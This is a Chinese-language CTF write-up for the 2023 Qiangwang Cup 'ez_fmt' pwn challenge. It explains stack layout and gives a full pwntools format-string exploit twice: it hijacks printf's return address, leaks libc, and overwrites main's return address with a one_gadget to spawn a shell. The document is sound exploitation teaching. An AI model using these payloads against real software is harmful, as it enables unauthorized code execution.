格式化任意内存读写相信已经是老生常谈了,但是随着题目难度加大,格式化题目给我们的难题逐渐变成了覆写什么,改写什么。

这题对我是一道很好的例题,其中对栈及函数调用的理解堪称刷新我的认知。

exp先放着,想自己调试理解的可以看看。

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
io = process('./ez_fmt')
def debug():
    gdb.attach(io,
    '''
ni#这里是让gdb自动下一步,这样可以直接看到输入后的情况。
    '''   
                )
debug()
io.recvuntil(b'you ')
stack_adr = int(io.recv(0xe),16)#
ret_adr = stack_adr - 8
payload = b'%19$p%247c%8$hhn'.ljust(0x10,b'\x00')
payload +=p64(ret_adr)
io.sendline(payload)
io.recvuntil(b'\n')
libc_base = int(io.recv(0xe),16) - 243 - 0x23F90
print(hex(libc_base))

libc_exe = libc_base + 0xe3b01#one_gadget
libc_exe1 = libc_exe&0xFFFF
libc_exe2 = (libc_exe&0xFFFF0000)//0x10000
stack_adr1 = stack_adr + 0x68
stack_adr2 = stack_adr + 0x6a
if(libc_exe1 > libc_exe2):
    libc_exe1,libc_exe2 = libc_exe2,libc_exe1
    stack_adr1,stack_adr2 = stack_adr2,stack_adr1
payload2 = b'%' + str(libc_exe1).encode() + b'c%10$hn'#6,7
payload2 +=b'%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'#8,9
payload2 +=b'a'*(0x20-len(b'%' + str(libc_exe1).encode() + b'c%10$hn%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'))
payload2 +=p64(stack_adr1)#10
payload2 +=p64(stack_adr2)#11
pause()
io.sendline(payload2)
io.interactive()

静态分析

题目很简洁,刚开始的时候给了一个栈上地址,w会于0xFFFF通过判断后获得一次格式化字符串机会,但是只有一次,并且只有0x30个字节

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_ez_fmt

题目还给了libc-2.31.so。感觉是要用到one_gadget(毕竟这题溢出不可能,如果像上次fry那样一直覆盖返回地址肯定字节不够的)

初步思路

目前可能的思路是覆盖返回地址的末尾字节(因为main函数会返回libc_start_main),让函数返回one_gadget.

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_2023强网杯_02

one_gadget选择有这三个。条件上还算好满足,我是用的第二个,r15 和 rdx在程序返回时都为零。

但是该程序在运行时只有末三位固定,libc前六位是所有libc共享的,都是一样的,不需要改写,那么最后就会剩下三位随机。

16x16x16=4096.

虽然这个概率不算过分,但是只要选择这样的爆破,就会给调试带来大麻烦,如果爆破脚本不对,你也很难找出问题所在。

劫持子函数返回地址

在看了杭电0rays战队该题的wp之后,刷新我认知的部分来了。

io.recvuntil(b'you ')
stack_adr = int(io.recv(0xe),16)#
ret_adr = stack_adr - 8
payload = b'%19$p%247c%8$hhn'.ljust(0x10,b'\x00')
payload +=p64(ret_adr)
io.sendline(payload)
io.recvuntil(b'\n')
libc_base = int(io.recv(0xe),16) - 243 - 0x23F90
print(hex(libc_base))

这是第一次的格式化,这里实现了劫持程序流回到read的位置。我在gdb里调试之后才明白发生了什么。

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_2023强网杯_03

程序给了buf首地址,在这里是0x7ffd0c439e10看到该地址的上一位0x7ffd0c439e08被read函数作为返回地址储存位置了。

这里可能还不太理解,再看看下面的printf函数,这个栈地址指向的位置变成了0x40133e.(在上图可以看到0x40133e,所以这是printf函数的返回地址) 

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_ez_fmt_04

扯了这么多,我其实就是一直在说在buf上面的第一个地址一定会是main函数里子函数的返回地址。图中蓝框框是调用函数使用的栈区。而在buf底部,又是main函数的rbp of caller 和 main函数的返回地址。到这里,函数调用关于栈方面就已经形成逻辑严密的闭环了

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_pwn_05

接下来我们如何利用这一点呢。

看这张图就很明确了,我们把储存着printf函数返回地址的栈写入,利用格式化漏洞,让printf自己劫持自己的地址。

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_2023强网杯_06

劫持到哪呢。回到read再来一次格式化呗。(这次还顺便泄露了libc基地址,因此我们的one_gadget地址就可以确定下来,让我们后面覆写main函数的返回地址不再看脸)

后面就跟上次的fry题一样了,只是上次做fry的时候我还不知道one_gadget,现在one_gadget就方便多了,不用苦逼写poprdi,binsh和system三个东西了。) 

exp

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
io = process('./ez_fmt')
def debug():
    gdb.attach(io,
    '''
ni
    '''   
                )
debug()
io.recvuntil(b'you ')
stack_adr = int(io.recv(0xe),16)
ret_adr = stack_adr - 8
payload = b'%19$p%247c%8$hhn'.ljust(0x10,b'\x00')
payload +=p64(ret_adr)
payload +=p64(ret_adr-224)
io.sendline(payload)
io.recvuntil(b'\n')
libc_base = int(io.recv(0xe),16) - 243 - 0x23F90
print(hex(libc_base))
libc_exe = libc_base + 0xe3b01
libc_exe1 = libc_exe&0xFFFF
libc_exe2 = (libc_exe&0xFFFF0000)//0x10000
stack_adr1 = stack_adr + 0x68
stack_adr2 = stack_adr + 0x6a
if(libc_exe1 > libc_exe2):
    libc_exe1,libc_exe2 = libc_exe2,libc_exe1
    stack_adr1,stack_adr2 = stack_adr2,stack_adr1
payload2 = b'%' + str(libc_exe1).encode() + b'c%10$hn'#6,7
payload2 +=b'%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'#8,9
payload2 +=b'a'*(0x20-len(b'%' + str(libc_exe1).encode() + b'c%10$hn%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'))
payload2 +=p64(stack_adr1)#10
payload2 +=p64(stack_adr2)#11
pause()
io.sendline(payload2)
io.interactive()

最后可以看看我第二轮格式化的写法。